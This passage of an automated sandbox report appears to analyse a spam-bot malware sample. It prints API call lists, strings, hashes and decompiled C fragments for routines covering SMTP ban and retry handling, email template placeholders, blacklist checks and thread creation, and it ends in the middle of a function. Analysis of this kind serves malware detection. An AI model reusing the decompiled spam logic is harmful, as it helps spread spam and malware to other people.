Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s%d, xrefs: 0040AE58
127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_MID, xrefs: 0040AEAE
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
%OUTLOOK_HST, xrefs: 0040AEC5
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 006C9576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 006C9590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006C95BE
GetModuleFileNameA.KERNEL32(00000000), ref: 006C95C5
wsprintfA.USER32 ref: 006C961E
wsprintfA.USER32 ref: 006C965C
wsprintfA.USER32 ref: 006C96DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 006C9741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 006C9776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 006C97C1

Strings

PromptOnSecureDesktop, xrefs: 006C95ED, 006C960D, 006C964B, 006C966C, 006C969F, 006C96C8, 006C96EA, 006C971D, 006C9769, 006C97A0

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: d57a7fdfa34426e8c6a3242793a19724593ca24ffb20331d191b2f8b62e21258
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: 7EA161B1900208AFEB25DFA0CC89FEE3BADEB05740F10402AFA05D6151E7B5D995CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00434C35, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434C39
_strlen.LIBCMT ref: 00434C69
_write_multi_char.LIBCMTD ref: 0043540E
_write_string.LIBCMTD ref: 00435429
_write_multi_char.LIBCMTD ref: 00435455
_wctomb_s.LIBCMTD ref: 004354D2

Strings

HD@, xrefs: 00434C5C
-, xrefs: 004353AE

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$HD@
API String ID: 2232461714-1281569576
Opcode ID: 311fc08f74fa3c4ff641883a3beffeebbadd2978083a8387ecc8fae2992066da
Instruction ID: 1b45bedf3bdb3eb9d08aa62a81901cbf0d023d57e69eb3af5f62dfb2a02dda8b
Opcode Fuzzy Hash: 311fc08f74fa3c4ff641883a3beffeebbadd2978083a8387ecc8fae2992066da
Instruction Fuzzy Hash: BCA18EB0D016289FDF24CF54CC89BEEB7B1AB88305F5491DAD4186B291D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C1FE6, Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 006C2016
GetSystemInfo.KERNEL32(?), ref: 006C2038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 006C2053
GetProcAddress.KERNEL32(00000000), ref: 006C205A
GetCurrentProcess.KERNEL32(?), ref: 006C206B
GetTickCount.KERNEL32 ref: 006C2219

Part of subcall function 006C1E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 006C1E65

Strings

localcfg, xrefs: 006C207A, 006C2081, 006C2094, 006C20CD, 006C20DC, 006C2102, 006C2121, 006C2137, 006C214F, 006C216C, 006C2184, 006C21A0, 006C21C0
hi_id, xrefs: 006C2166, 006C216B, 006C2183
0t, xrefs: 006C2219
flags_upd, xrefs: 006C208E, 006C2093, 006C20CC
work_srv, xrefs: 006C20AE

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: 0t$flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-2138632659
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: 1123984c40dcfa98bff3f779ef490e4f4fd51f18485455ac2b8e73593ef22265
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: B751D6B05043486FE370AF658C86F77BAFDFB45704F04092EFA5582242D7B9AA44C769

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
0t, xrefs: 00402072
net_type, xrefs: 004021DF
rbl_ip, xrefs: 0040218F
rbl_bl, xrefs: 00402181

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: 0t$localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-2836909627
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

p2u, xrefs: 0040F375, 0040F3A0
time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p2u$time_cfg
API String ID: 311057483-3085829997
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

smtp_ban, xrefs: 0040BE55, 0040BF77
46A, xrefs: 0040BF85
smtp_retr, xrefs: 0040BE61, 0040BF8C
smtp_herr, xrefs: 0040BE46, 0040BF62
86A, xrefs: 0040BF98
06A, xrefs: 0040BF70

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%M5DATE, xrefs: 0040B50F
%TO_DOMAIN, xrefs: 0040B44B
%FROM_EMAIL, xrefs: 0040B3E9
%FROM_USER, xrefs: 0040B431
%TO_EMAIL, xrefs: 0040B473
%TO_USER, xrefs: 0040B488
%s@%s, xrefs: 0040B461
%P5DATE, xrefs: 0040B4F2
%DATE, xrefs: 0040B4D2
%FROM_DOMAIN, xrefs: 0040B41E
%TO_HASH, xrefs: 0040B4B0

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043BEB4, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043BEB8
_strlen.LIBCMT ref: 0043BEE8
_write_multi_char.LIBCMTD ref: 0043C6CB
_write_string.LIBCMTD ref: 0043C6E6
_write_multi_char.LIBCMTD ref: 0043C712
__mbtowc_l.LIBCMTD ref: 0043C781

Strings

HD@, xrefs: 0043BEDB

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: HD@
API String ID: 909868375-1661062907
Opcode ID: 67a0e0b55109ef93f899b1eaf3db28d0803af4c3b6bb0fd4b3d51eb36954dc44
Instruction ID: 91a9f40cffbbe09974d5e47af70578d6af58aa3a101efd7623a6941da60abfae
Opcode Fuzzy Hash: 67a0e0b55109ef93f899b1eaf3db28d0803af4c3b6bb0fd4b3d51eb36954dc44
Instruction Fuzzy Hash: BCA18DB1D002189FDB24DF54CC81BEEB3B5EB48305F14919AE6097B282D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
